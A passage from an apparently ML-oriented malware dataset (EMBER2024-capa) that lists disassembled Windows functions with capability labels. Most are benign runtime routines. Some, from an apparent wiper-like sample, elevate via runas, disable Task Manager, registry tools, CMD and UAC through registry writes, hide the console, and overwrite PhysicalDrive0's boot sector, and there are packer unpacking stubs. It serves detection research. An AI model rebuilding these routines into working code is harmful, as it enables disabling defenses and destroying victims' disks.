joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011aff
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10011b9c
push ebx
push esi
call fcn.10011ac8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10011a5c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10011b49
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b9b
push edi
push eax
call fcn.10012aba
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011b69
call fcn.100105a4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b9a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10011a5c
add esp, 0x20
test eax, eax
jne 0x10011b88
push edi
call fcn.100105a4
jmp 0x10011b90
push ebx
call fcn.100105a4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10011e09
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019888
push 0x10019880
push str.FlsAlloc
push 0x1f
call fcn.10011d25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011e3d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
jmp 0x10011e43
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011e87
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019898
push 0x10019890
push str.FlsGetValue
push 0x21
call fcn.10011d25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011ebe
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10011ec6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100198a0
push 0x10019898
push str.FlsSetValue
push 0x22
call fcn.10011d25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011f00
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017580
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100175ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100175ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x73153d5e
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3f4a4f71
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40bb00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x409015
lea edi, [esi - 0x8015]
push edi
jmp 0x40bb1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40bb21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40bb10
mov eax, 1
add ebx, ebx
jne 0x40bb33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40bb28
jne 0x40bb44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40bb28
xor ecx, ecx
sub eax, 3
jb 0x40bb58
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40bbca
mov ebp, eax
add ebx, ebx
jne 0x40bb63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40bb70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40bb94
inc ecx
add ebx, ebx
jne 0x40bb80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40bb75
jne 0x40bb91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40bb75
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40bbb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40bba5
jmp 0x40bb16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40bbb4
add edi, ecx
jmp 0x40bb16
pop esi
mov edi, esi
mov ecx, 0x184
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40bbd2
cmp byte [edi], 1
jne 0x40bbd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40bbd7
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40bc46
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40bc04
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb058]
or eax, eax
je 0x40bc40
mov dword [ebx], eax
add ebx, 4
jmp 0x40bc21
call dword [esi + 0xb054]
mov ebp, dword [esi + 0xb05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40bc7a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x408a00
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x461fe8]
test bl, bl
je 0x408a46
or edi, 0xffffffff
cmp bl, 0x23
jne 0x408a27
cmp byte [esi], bl
jne 0x408a27
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x440c10]
test bl, bl
jne 0x408a18
mov edi, dword [0x461fe8]
mov esi, dword [edi + 0x5a74]
xor ecx, ecx
not eax
test esi, esi
jle 0x408a6c
mov edi, dword [edi + 0x5a7c]
lea edx, [edi + 4]
nop dword [eax]
cmp dword [edx], eax
je 0x408a72
inc ecx
add edx, 0x24
cmp ecx, esi
jl 0x408a60
pop edi
pop esi
xor eax, eax
pop ebx
ret
lea eax, [ecx + ecx*8]
lea eax, [edi + eax*4]
pop edi
pop esi
pop ebx
ret

Function at 0x408f90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x5ad0], 0
lea esi, [edi + 0x5ad4]
je 0x409012
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x408fcc
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.00403cc0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.0041e770
mov edx, dword [esi]
mov ecx, 0x461fe4
push dword [edi + 0x5ad0]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x5adc]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.0041e770
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417740
Capabilities:
Hash data with crc32

Disassembly:
mov eax, ecx
or ecx, 0xffffffff
push ebx
push esi
mov bl, byte [eax]
lea esi, [eax + 1]
test bl, bl
je 0x41777d
push edi
or edi, 0xffffffff
cmp bl, 0x23
jne 0x417763
cmp byte [esi], bl
jne 0x417763
cmp byte [esi + 1], bl
cmove ecx, edi
movzx edx, cl
movzx eax, bl
mov bl, byte [esi]
xor edx, eax
shr ecx, 8
inc esi
xor ecx, dword [edx*4 + 0x440c10]
test bl, bl
jne 0x417754
pop edi
pop esi
not ecx
pop ebx
jmp fcn.00417790
Function at 0x41ba40
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, ecx
push esi
push edi
lea esi, [ebp - 0x14]
mov edi, 0x10
movss xmm1, dword [edx + 0x100]
movss xmm0, dword [eax]
movss xmm2, dword [edx + 0x104]
subss xmm0, xmm1
mov ecx, dword [edx + 0xe4]
movss dword [ebp - 0x14], xmm0
movss xmm0, dword [eax + 4]
subss xmm0, xmm2
movss dword [ebp - 0x10], xmm0
movss xmm0, dword [eax + 8]
subss xmm0, xmm1
movss dword [ebp - 0xc], xmm0
movss xmm0, dword [eax + 0xc]
mov eax, dword [edx + 0xec]
subss xmm0, xmm2
mov edx, dword [eax + ecx*4 - 4]
movss dword [ebp - 8], xmm0
not edx
nop
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x440c10]
sub edi, 1
jne 0x41bab0
not edx
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x41bae0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
lea edx, [ebp + 8]
mov esi, 4
mov eax, dword [edi + 0xe4]
mov ebx, dword [edi + 0xec]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x440c10]
sub esi, 1
jne 0x41bb02
mov eax, dword [edi]
not ebx
cmp dword [eax + 0x3e8c], ebx
jne 0x41bb39
push ecx
push dword [ebp + 8]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.00407470
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 4
Function at 0x41ec50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x41ec64
mov dword [ebx], 0
mov edx, 0x43eaa0
call fcn.0041ee20
mov esi, eax
test esi, esi
je 0x41ed52
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x41ed48
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x41ed48
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x41ed48
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x41ed48
mov eax, dword [0x461fe8]
test eax, eax
je 0x41ecdc
inc dword [eax + 0xac]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x41ed48
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x41ed2d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x461fe8]
add esp, 4
test eax, eax
je 0x41ed1a
dec dword [eax + 0xac]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x41ed3f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ef10
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x41ef5c
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x41ef3f
cmp edi, 2
jb 0x41ef3f
cmp byte [esi], cl
jne 0x41ef3f
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x440c10]
test edi, edi
jne 0x41ef25
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x41ef8b
cmp cl, 0x23
jne 0x41ef72
cmp byte [esi], cl
jne 0x41ef72
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x440c10]
test cl, cl
jne 0x41ef63
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x42eda0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x42edda
mov eax, dword [0x461fe8]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x42edcd
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x42ee0b
mov eax, dword [0x461fe8]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x42edfe
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x42ee3c
mov eax, dword [0x461fe8]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x42ee2f
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x42ee89
mov eax, dword [0x461fe8]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x42ee7c
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x42eeba
mov eax, dword [0x461fe8]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x42eead
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x42eeeb
mov eax, dword [0x461fe8]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x42eede
dec dword [eax + 0xac]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0042ec60
Function at 0x4010f0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x42b080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401166
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
cmp dword [ebp - 0x18], 0
je 0x401172
mov byte [ebp - 0xd], 1
jmp 0x401176
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408107
mov esp, ebp
pop ebp
ret

Function at 0x401190
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
call fcn.004010f0
movzx eax, al
test eax, eax
jne 0x4011c1
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.0040d1f1
nop
pop ebp
ret
Function at 0x401230
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x42b080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x48], 0x80000001
mov dword [ebp - 0x44], 0x4212c8
mov dword [ebp - 0x40], str.DisableTaskMgr
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x38], 0x80000001
mov dword [ebp - 0x34], str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [ebp - 0x30], str.DisableRegistryTools
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0x80000002
mov dword [ebp - 0x24], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [ebp - 0x20], str.EnableLUA
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0x80000001
mov dword [ebp - 0x14], str.SoftwarePoliciesMicrosoftWindowsSystem
mov dword [ebp - 0x10], str.DisableCMD
mov dword [ebp - 0xc], 2
lea ecx, [ebp - 0x51]
call fcn.004013b0
push eax
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00401700
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00401420
nop
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp - 0x58]
call fcn.004014a0
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x58]
call fcn.004014c0
mov dword [ebp - 0x60], eax
jmp 0x401300
mov edx, dword [ebp - 0x50]
add edx, 0x10
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x60]
je 0x40138c
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x4c], ecx
lea edx, [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401358
push 4
mov ecx, dword [ebp - 0x4c]
add ecx, 0xc
push ecx
push 4
push 0
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x401387
push 0x402e80
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax + 4]
push ecx
push str.Failed:
push 0x42c1f0
call fcn.004021d0
add esp, 8
push eax
call fcn.004021d0
add esp, 8
mov ecx, eax
call fcn.00403d90
nop
jmp 0x4012f7
lea ecx, [ebp - 0x6c]
call fcn.00401480
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408107
mov esp, ebp
pop ebp
ret

Function at 0x401780
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
mov esp, ebp
pop ebp
ret
Function at 0x401db0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x42b080]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 3
push 0
push 3
push 0x40000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xffffffff
jne 0x401dee
jmp 0x401e47
mov byte [ebp - 0x204], 0xff
push 0x1ff
push 0
lea eax, [ebp - 0x203]
push eax
call fcn.00409b60
add esp, 0xc
push 0
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x204]
call fcn.00405a60
push eax
lea ecx, [ebp - 0x204]
call fcn.00403110
push eax
mov edx, dword [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408107
mov esp, ebp
pop ebp
ret

Function at 0x402cd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00402970
add esp, 4
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.00402ee0
add esp, 8
push eax
lea ecx, [ebp - 8]
call fcn.004020a0
lea ecx, [ebp - 0xc]
call fcn.00403a90
nop
mov dword [ebp - 0x10], 0x402b50
mov edx, dword [ebp - 4]
add edx, 4
push edx
push 0
lea ecx, [ebp - 8]
call fcn.004055b0
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
call fcn.0040d54e
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
cmp dword [edx], 0
je 0x402d45
lea ecx, [ebp - 8]
call fcn.00405980
nop
jmp 0x402d57
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0
push 6
call fcn.0040603e
nop
lea ecx, [ebp - 8]
call fcn.00403a90
nop
mov esp, ebp
pop ebp
ret 4

Function at 0x404040
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x270
jne 0x40405f
mov ecx, dword [ebp - 8]
call fcn.00404b20
nop
jmp 0x404073
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4e0
jb 0x404073
mov ecx, dword [ebp - 8]
call fcn.00404980
nop
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 4]
shr eax, 0xb
mov ecx, dword [ebp - 8]
and eax, dword [ecx + 0x1384]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
shl edx, 7
and edx, 0x9d2c5680
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shl eax, 0xf
and eax, 0xefc60000
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shr ecx, 0x12
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404980
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], ecx
mov dword [ebp - 0x28], 0x26f
mov dword [ebp - 0x2c], 0xe3
mov dword [ebp - 8], 0
jmp 0x4049a9
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe3
jae 0x404a15
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
and edx, 1
je 0x4049ed
mov dword [ebp - 0x14], 0x9908b0df
jmp 0x4049f4
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 + 0xff8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x4049a0
mov dword [ebp - 0xc], 0xe3
jmp 0x404a27
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x26f
jae 0x404a93
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
and edx, 1
je 0x404a6b
mov dword [ebp - 0x1c], 0x9908b0df
jmp 0x404a72
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
shr eax, 1
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x404a1e
mov dword [ebp - 0x30], 0x26f
mov eax, 4
imul ecx, eax, 0x4df
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx + 4]
and eax, 0x80000000
mov ecx, 4
imul edx, ecx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx + 4]
and edx, 0x7fffffff
or eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
and eax, 1
je 0x404adc
mov dword [ebp - 0x24], 0x9908b0df
jmp 0x404ae3
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x20]
shr ecx, 1
xor ecx, dword [ebp - 0x24]
mov edx, 4
imul eax, edx, 0x18c
mov edx, dword [ebp - 4]
xor ecx, dword [edx + eax + 4]
mov eax, 4
imul edx, eax, 0x26f
mov eax, dword [ebp - 4]
mov dword [eax + edx + 4], ecx
mov ecx, dword [ebp - 4]
